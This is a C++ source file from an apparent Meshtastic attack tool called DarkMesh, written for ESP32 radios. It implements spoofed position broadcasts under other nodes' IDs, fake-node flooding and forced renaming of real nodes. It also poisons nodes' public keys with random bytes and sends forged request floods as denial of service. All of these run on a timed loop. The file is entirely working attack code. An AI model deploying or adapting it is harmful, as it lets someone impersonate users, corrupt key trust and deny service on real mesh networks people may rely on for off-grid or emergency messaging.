DarkMesh/main/TMAttack.cpp

#include "TMAttack.hpp"
#include "esp_log.h"
#include <iterator>

uint32_t TMAttack::getRandomTarget() {
    uint16_t cnt = 0;  // todo handle it in lib better
    uint32_t srcnode = 0;
    do {
        cnt++;
        auto it = meshtasticCompact->nodeinfo_db.begin();
        int rnd = esp_random() % NodeInfoDB::MAX_NODES;
        for (int o = 0; o < rnd; o++) {
            if (it != meshtasticCompact->nodeinfo_db.end()) {
                ++it;
            }
        }
        srcnode = it->node_id;
    } while (cnt < 100 && srcnode == 0);
    return srcnode;
}

void TMAttack::atkRndPos() {
    // Generate random latitude and longitude within specified bounds
    double latitude = min_lat + static_cast<double>(rand()) / (static_cast<double>(RAND_MAX / (max_lat - min_lat)));
    double longitude = min_lon + static_cast<double>(rand()) / (static_cast<double>(RAND_MAX / (max_lon - min_lon)));

    // Create and send the fake position message
    MC_Position pos_msg = {};
    pos_msg.latitude_i = static_cast<int32_t>(latitude * 1e7);
    pos_msg.longitude_i = static_cast<int32_t>(longitude * 1e7);
    pos_msg.altitude = esp_random() % 1000;  // Random altitude
    pos_msg.ground_speed = 0;
    pos_msg.sats_in_view = 0;
    pos_msg.location_source = 1;
    pos_msg.has_latitude_i = true;
    pos_msg.has_longitude_i = true;
    pos_msg.has_altitude = true;
    pos_msg.has_ground_speed = true;
    uint32_t srcnode = target;
    if (target == 0xffffffff) {  // if target is everybody, randomize srcnode
        srcnode = getRandomTarget();
        if (srcnode == 0) {
            return;  // no valid target found
        }
    }
    meshtasticCompact->SendPositionMessage(pos_msg, 0xffffffff, 8, srcnode);
}

void TMAttack::atkNameChange() {
    uint32_t srcnode = target;
    if (target == 0xffffffff) {  // if target is everybody, randomize srcnode
        srcnode = getRandomTarget();
        if (srcnode == 0) {
            return;  // no valid target found
        }
    }
    auto node = meshtasticCompact->nodeinfo_db.get(srcnode);
    if (!node) {
        return;  // no valid target found
    }

    std::string new_name = node->long_name;
    if (new_name.size() >= emoji.size() && new_name.compare(new_name.size() - emoji.size(), emoji.size(), emoji) == 0) {
        return;  // it already got that part
    }

    if (emoji.length() <= 0) {
        emoji = "😈";
    }
    if (emoji.length() > 30) {
        emoji = emoji.substr(0, 30);  // limit to 30 bytes
    }
    if (new_name.length() + emoji.length() > 38) {
        new_name = new_name.substr(0, 38 - emoji.length());
    }
    new_name += emoji;
    strncpy(node->long_name, new_name.c_str(), 39);
    node->long_name[39] = '\0';
    meshtasticCompact->SendNodeInfo(*node, 0xffffffff, false);
}

void TMAttack::atkDdos() {
    uint32_t srcnode = esp_random();
    meshtasticCompact->SendRequestPositionInfo(0xffffffff, 8, srcnode);
    srcnode = getRandomTarget();
    if (srcnode == 0) {
        return;  // no valid target found
    }
    MC_NodeInfo* node = meshtasticCompact->nodeinfo_db.get(srcnode);
    if (!node) {
        return;  // no valid target found
    }
    meshtasticCompact->SendNodeInfo(*node, 0xffffffff, true);
}

void TMAttack::atkPkiPoison() {
    uint32_t srcnode = target;
    if (target == 0xffffffff) {  // if target is everybody, randomize srcnode
        srcnode = getRandomTarget();
        if (srcnode == 0) {
            return;  // no valid target found
        }
    }
    auto node = meshtasticCompact->nodeinfo_db.get(srcnode);
    if (!node) {
        return;  // no valid target found
    }
    for (int i = 0; i < 32; i++) {
        node->public_key[i] = esp_random() & 0xff;
    }
    meshtasticCompact->SendNodeInfo(*node, 0xffffffff, false);
}

void TMAttack::atkRndNode() {
    // Generate random latitude and longitude within specified bounds
    double latitude = min_lat + static_cast<double>(rand()) / (static_cast<double>(RAND_MAX / (max_lat - min_lat)));
    double longitude = min_lon + static_cast<double>(rand()) / (static_cast<double>(RAND_MAX / (max_lon - min_lon)));

    // Create and send the fake position message
    MC_Position pos_msg = {};
    pos_msg.latitude_i = static_cast<int32_t>(latitude * 1e7);
    pos_msg.longitude_i = static_cast<int32_t>(longitude * 1e7);
    pos_msg.altitude = esp_random() % 1000;  // Random altitude
    pos_msg.ground_speed = 0;
    pos_msg.sats_in_view = 0;
    pos_msg.location_source = 1;
    pos_msg.has_latitude_i = true;
    pos_msg.has_longitude_i = true;
    pos_msg.has_altitude = true;
    pos_msg.has_ground_speed = true;
    uint32_t srcnode = target;
    if (target == 0xffffffff) {
        srcnode = esp_random();
    }
    MC_NodeInfo nodeinfo = {};
    std::string none = "";
    std::string none2 = "";
    MeshtasticCompactHelpers::NodeInfoBuilder(&nodeinfo, srcnode, none, none2, esp_random() % 105);
    meshtasticCompact->SendNodeInfo(nodeinfo, 0xffffffff, false);
    meshtasticCompact->SendPositionMessage(pos_msg, 0xffffffff, 8, srcnode);
    meshtasticCompact->SendNodeInfo(nodeinfo, 0xffffffff, false);
    meshtasticCompact->SendPositionMessage(pos_msg, 0xffffffff, 8, srcnode);
}

void TMAttack::loop() {
    if (meshtasticCompact == nullptr) {
        return;  // Radio not set
    }
    if (current_attack == AttackType::NONE) {
        return;  // No attack to perform
    }
    timer++;
    if (timer < 100) {  // every 10 seconds
        return;
    }
    timer = 0;
    if (current_attack == AttackType::POS_POISON) {
        atkRndPos();
    } else if (current_attack == AttackType::NODE_FLOOD) {
        atkRndNode();
    } else if (current_attack == AttackType::NAME_CHANGE) {
        atkNameChange();
    } else if (current_attack == AttackType::PKI_POISON) {
        atkPkiPoison();
    } else if (current_attack == AttackType::DDOS) {
        atkDdos();
    }
}